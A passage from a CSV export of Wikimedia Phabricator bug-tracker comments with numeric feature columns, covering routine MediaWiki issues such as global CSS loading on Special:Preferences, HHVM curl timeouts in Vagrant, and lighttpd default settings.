QUOTE
and
URL
is still loaded."
312372,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],My global CSS is loaded on Special Preferences (both on Meta and other wikis).,,,1410372314,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,29.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.9411764705882353,My global CSS is loaded on Special Preferences (both on Meta and other wikis).
312367,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 150442 merged by jenkins-bot:
Use OutputPage::addModuleStyles/Scripts to add modules

https://gerrit.wikimedia.org/r/150442",,,1406680396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.277777777777778,1.0,"Change 150442 merged by jenkins-bot:
Use OutputPage::addModuleStyles/Scripts to add modules

GERRIT_URL"
312362,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 150442 had a related patch set uploaded by Legoktm:
Use OutputPage::addModuleStyles/Scripts to add modules

https://gerrit.wikimedia.org/r/150442",,,1406679858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,"Change 150442 had a related patch set uploaded by Legoktm:
Use OutputPage::addModuleStyles/Scripts to add modules

GERRIT_URL"
312357,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Change 149185 had a related patch set uploaded by Legoktm:
Check whether TYPE_COMBINED modules are allowed to be included in the page

https://gerrit.wikimedia.org/r/149185",,,1406243138,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,19.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.8076923076923075,1.0,"Change 149185 had a related patch set uploaded by Legoktm:
Check whether TYPE_COMBINED modules are allowed to be included in the page

GERRIT_URL"
312354,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"https://github.com/wikimedia/mediawiki-core/blob/master/includes/OutputPage.php#L2726 isn't checking TYPE_COMBINED, which our global user module is using.",,,1406232004,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,4.428571428571429,0.9285714285714286,"URL isn't checking TYPE_COMBINED, which our global user module is using."
312350,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"OutputPage::makeResourceLoaderLink should handle this properly, I'm looking into why it isn't.",,,1406227233,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,20.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,5.6,1.0,"OutputPage::makeResourceLoaderLink should handle this properly, I'm looking into why it isn't."
312346,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"The fix would probably be similar to
https://www.mediawiki.org/wiki/Special:Code/MediaWiki/64670",,,1406227159,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,"The fix would probably be similar to
URL"
70489,"When using hhvm, CurlHttpRequest::execute times out","**Author:** `neilk`

**Description:**
Bug noted on Mac OS X 10.9.3, using Vagrant 1.6.3 and Virtualbox 4.3.12. As per the standard vagrantfile, it was using a static IP and nfs.

Many things in MediaWiki require it to make calls to external APIs. It seems that when hhvm is on, CurlHttpRequest::execute always times out. I noticed this with uploads particularly. 

Enabling the zend role fixed the problem, so it seems to be specific to hhvm.


Problems that I noticed:

* when using instantCommons, uploads always time out. The reason is because MediaWiki is checking to see if the upload is already on Commons, and the request times out.

* when using UploadWizard (or other upload-by-url pages) to get files from Flickr, the request always times out, because Flickr API requests are timing out.


To see this behavior:

$ vagrant enable-role hhvm

$ vagrant enable-role uploadwizard

If change 148505 (https://gerrit.wikimedia.org/r/#/c/148505/) hasn't landed yet, make sure to add the following to your LocalSettings, to allow the kinds of uploads I mentioned.

    $wgInstantCommons = true;
    $wgAllowCopyUploads = true;
    $wgGroupPermissions[""*""][""upload_by_url""] = true;

Then, you can try using UploadWizard to:

- Upload any image file
- Upload any file from an appropriately licensed Flickr URL (https://www.flickr.com/photos/brevity/10423091326/ is fine; if you need more use the advanced search to find CC-BY and CC-BY-SA files).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Mac OS X 10.9
**Platform**: Macintosh",Needs Triage,90.0,1406158680,1406771140.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7zunujh5d7g75ztch3le,task_description,invalid,True,c3,1,False,False,True,-50,True,0.75,0.0,0.0,0.0,0.25,5.5,1.25,0.5,0.0,0.75,0.5,0.25,0.0,0.0,0.0,0.75,0.25,3.25,9.5,0.0,2.25,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.25,0.0,0.0,4.25,2.0,1.0,0.5,0.75,0.5,0.0,2.25,1.25,0.0,0.0,0.0,0.75,0.0,0.5,0.25,0.0,0.25,14.0,0.0,0.5,0.0,0.25,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.25,0.0,0.25,0.25,0.0,0.0,3.0,2.0,14.0,2.5,1.25,4.25,0.0,0.0,0.0,0.0,3.75,0.0,1.25,0.0,2.5,9.5,5.75,0.0,0.25,0.0,2.5,0.0,1.0,0.5,0.0,2.0,0.25,0.0,0.0,3.8348148692330297,0.6764252130473112,"**Author:** CODE

**Description:**
Bug noted on Mac OS X 10.9.3, using Vagrant 1.6.3 and Virtualbox 4.3.12. As per the standard vagrantfile, it was using a static IP and nfs.

Many things in MediaWiki require it to make calls to external APIs. It seems that when hhvm is on, CurlHttpRequest::execute always times out. I noticed this with uploads particularly. 

Enabling the zend role fixed the problem, so it seems to be specific to hhvm.


Problems that I noticed:

* when using instantCommons, uploads always time out. The reason is because MediaWiki is checking to see if the upload is already on Commons, and the request times out.

* when using UploadWizard (or other upload-by-url pages) to get files from Flickr, the request always times out, because Flickr API requests are timing out.


To see this behavior:

$ vagrant enable-role hhvm

$ vagrant enable-role uploadwizard

If change 148505 (URL hasn't landed yet, make sure to add the following to your LocalSettings, to allow the kinds of uploads I mentioned.

    $wgInstantCommons = true;
    $wgAllowCopyUploads = true;
    $wgGroupPermissions[""*""][""upload_by_url""] = true;

Then, you can try using UploadWizard to:

- Upload any image file
- Upload any file from an appropriately licensed Flickr URL (URL is fine; if you need more use the advanced search to find CC-BY and CC-BY-SA files).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Mac OS X 10.9
**Platform**: Macintosh"
310902,"When using hhvm, CurlHttpRequest::execute times out","**neilk** wrote:

I don't think so - when it was failing for me the remote API requests would never complete, whether to Commons or to Flickr. Even if I left them for 15 minutes, and verified the APIs returned in seconds from the same computer, when not within the hhvm mediawiki-vagrant.

This was clearly a network or file descriptor issue of some kind. I can't figure out what, though.",,,1406815736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,False,,,-48,True,1.0,0.0,0.0,0.0,3.0,2.0,1.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,13.0,2.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,3.659090909090909,0.75,"**neilk** wrote:

I don't think so - when it was failing for me the remote API requests would never complete, whether to Commons or to Flickr. Even if I left them for 15 minutes, and verified the APIs returned in seconds from the same computer, when not within the hhvm mediawiki-vagrant.

This was clearly a network or file descriptor issue of some kind. I can't figure out what, though."
310898,"When using hhvm, CurlHttpRequest::execute times out","(In reply to Neil Kandalgaonkar from comment #2)
> I created a new hhvm MediaWiki-vagrant from scratch. Now I can't reproduce
> it either. 

You may not have been mistaken about the curl timeout problem. We merged a change (Ib36ecadf6b34420be82e425fcb3f7d322991edd6) no too long ago that added a higher than default timeout to help with Composer downloads.",,,1406783790,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,13.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,13.0,10.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,4.596153846153846,0.8461538461538461,"(In reply to Neil Kandalgaonkar from comment #2)
QUOTE
QUOTE

You may not have been mistaken about the curl timeout problem. We merged a change (Ib36ecadf6b34420be82e425fcb3f7d322991edd6) no too long ago that added a higher than default timeout to help with Composer downloads."
310895,"When using hhvm, CurlHttpRequest::execute times out","**neilk** wrote:

I created a new hhvm MediaWiki-vagrant from scratch. Now I can't reproduce it either. 

I do know that switching from hhvm to zend in my other instance solved the problem immediately. Perhaps it had something to do with Vagrant re-provisioning the box.

Sorry for wasting your time.",,,1406771140,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,False,,,-48,True,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,6.0,1.0,7.0,13.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,12.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,10.0,13.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,3.791044776119403,0.7313432835820896,"**neilk** wrote:

I created a new hhvm MediaWiki-vagrant from scratch. Now I can't reproduce it either. 

I do know that switching from hhvm to zend in my other instance solved the problem immediately. Perhaps it had something to do with Vagrant re-provisioning the box.

Sorry for wasting your time."
310890,"When using hhvm, CurlHttpRequest::execute times out","I couldn't reproduce it (tried provisioning with latest vagrant revision). If it still fails for you, could you check which request exactly is failing and narrow it down to a shorter minimum repro code?",,,1406240010,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-7zunujh5d7g75ztch3le,task_subcomment,,True,c3,1,True,,,-49,True,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,8.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,12.0,0.0,2.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,5.0,2.0,2.0,0.0,4.225,0.9,"I couldn't reproduce it (tried provisioning with latest vagrant revision). If it still fails for you, could you check which request exactly is failing and narrow it down to a shorter minimum repro code?"
70431,Update lighttpd default settings,"**Author:** `metatron`

**Description:**
According to:
https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/Help/Performance#Webservice_stalling.2C_OOM_or_otherwise_unresponsive

I'm going to submit a patch, but would like to test it on one webgrid node in advance (preferred tools-webgrid-04)
https://tools.wmflabs.org/paste/view/763db0fb

Additional:
Is  /usr/bin/webservice script puppetized?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1406108580,1407996546.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_description,resolved,True,c3,1,False,False,True,-50,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,6.0,9.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.4936708860759493,0.6329113924050633,"**Author:** CODE

**Description:**
According to:
URL

I'm going to submit a patch, but would like to test it on one webgrid node in advance (preferred tools-webgrid-04)
URL

Additional:
Is  /usr/bin/webservice script puppetized?

--------------------------
**Version**: unspecified
**Severity**: normal"
320565,Update lighttpd default settings,"Change 148977 merged by coren:
webservice: Enable individual memory limits

https://gerrit.wikimedia.org/r/148977",,,1406226573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,0.9333333333333333,"Change 148977 merged by coren:
webservice: Enable individual memory limits

GERRIT_URL"
320560,Update lighttpd default settings,"Change 148977 had a related patch set uploaded by Tim Landscheidt:
webservice: Enable individual memory limits

https://gerrit.wikimedia.org/r/148977",,,1406222632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,0.9523809523809523,"Change 148977 had a related patch set uploaded by Tim Landscheidt:
webservice: Enable individual memory limits

GERRIT_URL"
320554,Update lighttpd default settings,"Change 148977 had a related patch set uploaded by Hedonil:
webserviće: Bug: 68431, Bug: 68499 - allow setting individual tools memory limits via config files in /data/project/.system/config - create blank .lighttpd.conf, if it doesn't exist

https://gerrit.wikimedia.org/r/148977",,,1406195922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,2.0,8.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.469387755102041,0.8367346938775511,"Change 148977 had a related patch set uploaded by Hedonil:
webserviće: Bug: 68431, Bug: 68499 - allow setting individual tools memory limits via config files in /data/project/.system/config - create blank .lighttpd.conf, if it doesn't exist

GERRIT_URL"
320548,Update lighttpd default settings,"Change 148662 merged by coren:
lighttpd-starter: Update default settings to overcome some issues - set server.event-handler = ""linux-sysepoll"" - increase server.max-connections = 300 - remove lighttpd worker processes - make php-fcgi handler optional

https://gerrit.wikimedia.org/r/148662",,,1406151378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.62,0.74,"Change 148662 merged by coren:
lighttpd-starter: Update default settings to overcome some issues - set server.event-handler = ""linux-sysepoll"" - increase server.max-connections = 300 - remove lighttpd worker processes - make php-fcgi handler optional

GERRIT_URL"
320543,Update lighttpd default settings,"Change 148637 abandoned by coren:
lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i

Reason:
This was superseded with another patch.

https://gerrit.wikimedia.org/r/148637",,,1406148025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,0.8,"Change 148637 abandoned by coren:
lighttpd-starter: Update default settings to oversome some issues. Bug: 68431 hange-Id: I17ef551fd75dabb60c5c47b42eb7644109acad29i

Reason:
This was superseded with another patch.

GERRIT_URL"
320537,Update lighttpd default settings,"Change 148662 had a related patch set uploaded by Tim Landscheidt:
lighttpd-starter: Update default settings to overcome some issues

https://gerrit.wikimedia.org/r/148662",,,1406134563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.884615384615385,0.9615384615384616,"Change 148662 had a related patch set uploaded by Tim Landscheidt:
lighttpd-starter: Update default settings to overcome some issues

GERRIT_URL"
320533,Update lighttpd default settings,"**metatron** wrote:

Thanks.",,,1406127351,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7,0.7,"**metatron** wrote:

Thanks."
320530,Update lighttpd default settings,"Change 148662 had a related patch set uploaded by Hedonil:
lighttpd-starter: Update default settings to overcome some issues. Bug: 68431 updated parameters moved default php to if condition

https://gerrit.wikimedia.org/r/148662",,,1406125933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5bok6f5ex2ofhh3li5x,task_subcomment,,True,c3,1,False,,,-50,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.72972972972973,0.8918918918918919,"Change 148662 had a related patch set uploaded by Hedonil:
